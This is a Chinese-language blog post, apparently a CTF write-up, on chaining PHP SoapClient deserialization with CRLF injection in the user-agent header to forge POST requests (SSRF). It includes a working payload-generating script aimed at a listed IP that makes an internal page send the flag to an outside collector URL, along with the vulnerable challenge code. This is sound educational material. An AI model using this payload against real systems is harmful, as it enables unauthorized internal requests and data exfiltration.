R1gelX`Blog

22 object(s)
 

SOAP反序列化与SSRF

php利用SoapClient的原生类反序列化配合CRLF造成SSRF

原生类的SoapClient的存在一个call魔术方法

先看一下 SoapClient 的 construct方法

public SoapClient::__construct(?string `$wsdl`, array `$options` = [])

它的第二参数是一个数组,也是是我们要设置的参数列表

当我们直接去调用一个SoapClient类的一个不存在的方法,

他会发送一个请求到我们指定的location里,然后这个不存在的方法会在请求头的SOAPAction的参数这时候我们可以利用CRLF来提交仍以的xml格式参数,为什么说是xml格式,因为Content-tyoe在SOAPAction头的前面。

ua头CRLF注入 -任意POST请求

其实在这个请求中 ua头也是可控的,利用CRLF构造任意POST请求可达到SSRF的效果

于是可以用脚本生成一个序列化语句(脚本来自来自wupco)

<?php
$postdata = 'py=flag&url=http://love.rigelx.top/getdata.php';
//按要求设置post数据
$url = 'http://120.27.146.26/un92.php';
#$url='http://101.132.238.43:5000';
$s = new SoapClient(null,array('location' => $url,'user_agent' => 'wupco'.'!!'.'Content-Type:'.'application/x-www-form-urlencoded'.'!!'.'X-Forwarded-For:'.'127.0.0.1'.'!!'.'Content-Lenth:'.(string)strlen($postdata).'!!!!'.$postdata.'!!','uri' => 'baaa'));

$so = serialize($s);
$soa = str_replace('!!',"\r\n",$so);

echo(urlencode($soa));

根据我做题的时候修改过了

接下来看一道SOAP的题

 <?php
// POST py=flag&url=yoururl to un92.php and you will get the flag
if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = unserialize($_GET['tryhackme']);
$a->pyflag();
} else {
    show_source(__FILE__);
}
?> 

注意:// POST py=flag&url=yoururl to un92.php and you will get the flag

其实这儿不是让你直接去post参数获取flag,通常来说 这儿的un92.php 会是一个外网无法访问的资源或者端口。

然后拿上面脚本生成的payload打,返回

Fatal error: main(): The script tried to execute a method or access a property of an incomplete object. 
Please ensure that the class definition &quot;SoapClient&quot; of the object you are trying to operate on
 was loaded _before_ unserialize() gets called or provide a __autoload() function to load the class 
definition in /var/www/html/un9.php on line 5

嗯?

然后我把这个题放在了我自己的服务器,因为这个un92.php 谁都可以访问,所以是一样的。

只返回了一个warning

Warning: SoapClient::__doRequest(): supplied argument is not a valid Stream-Context resource in 
/www/wwwroot/ip/soap.php on line 5

image-20210727165506404

成功拿到flag

其实un92的内容应该是

<?php
if($_POST['py'] == 'flag' && isset($_POST['url'])){
    file_get_contents($_POST['url'].'?flag=flag{xxxxxxxxxxx}');
}

原生类的反序列化不止SoapClient类 只是这个类在php5 和 php7内都有。比如还有error类,参见极客大挑战2020 greatphp

反序列化之PHP原生类的利用 - l3m0n - 博客园 (cnblogs.com)